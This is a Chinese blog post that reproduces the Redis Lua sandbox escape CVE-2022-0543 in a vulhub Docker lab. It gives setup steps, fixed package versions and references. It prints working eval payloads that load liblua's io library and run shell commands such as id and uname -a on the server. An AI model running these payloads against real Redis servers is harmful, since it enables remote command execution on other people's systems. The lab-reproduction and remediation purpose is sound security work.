CVE-2022-0543 Redis沙盒逃逸漏洞复现(CVE-2022-0543)

0x01前言

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。
redis 存在安全漏洞,攻击者可利用该漏洞远程执行代码。

0x02漏洞描述

在Debian系的Linux发行版系统上,由于打包问题,Redis在Lua解析器初始化后,package变量没有被正确清除,导致攻击者可以利用它来进行Lua沙箱逃逸,从而执行任意系统命令。目前,该漏洞显示只影响Debian系的 Linux 发行版系统(Debian、Ubuntu等)上的Redis服务,其他系统上的Redis服务暂不受影响。同时利用该漏洞需要具备可在Redis中执行eval命令的权限。

0x03漏洞影响版本

该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞

0x04 漏洞环境准备

靶机:直接docker拉取镜像,启动环境
攻击机:下载redis-cli用于远程连接redis服务器

0x05漏洞复现

1.通过docker拉取镜像,启动镜像环境
cd vulhub-master/redis/CVE-2022-0543/
docker-compose up -d

2.攻击机下载redis-cli
wget http://download.redis.io/redis-stable.tar.gz
3.解压下载好的文件:tar -zxvf redis-stable.tar.gz。
4.进入目录,看看是否安装成功
cd redis-stable
make

cp src/redis-cli /usr/bin/
redis-cli -h

5.使用redis-cli远程连接redis服务器:
redis-cli -h 192.168.235.134 -p 6379

6.借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,要指定正确的路径
local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”);
local io = io_l();
local f = io.popen(“id”, “r”);
local res = f:read(“*a”);
f:close();
return res
7.在攻击机上使用eval执行上述脚本,成功执行
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

8.查看当前用户,可以看见无法看到当前用户,这里是我的Ubuntu Redis是安全本版,这里就无法看到当前用户。
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“whoamin”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

0x06 修复建议

1、升级至安全版本:Debian Redis: 5:5.0.14-1+deb10u2 5:6.0.16-1+deb11u2 5:6.0.16-2Ubuntu Redis: 5:6.0.15-1ubuntu0.1 5:5.0.7-2ubuntu0.12.做好Redis鉴权限制和禁止对外网访问。
3.打上相关补丁
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787

0x07 参考
https://mp.weixin.qq.com/s/4fAmmkcyCTqY_B-U5Mr0kw

payload:
eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“uname -a”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

eval ‘local io_l = package.loadlib(“/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, “luaopen_io”); local io = io_l(); local f = io.popen(“id”, “r”); local res = f:read(“*a”); f:close(); return res’ 0

批量检测工具:

https://github.com/d-rn/vulBox/blob/main/CVE-2022-0543.py

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不爱学习的安全小白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值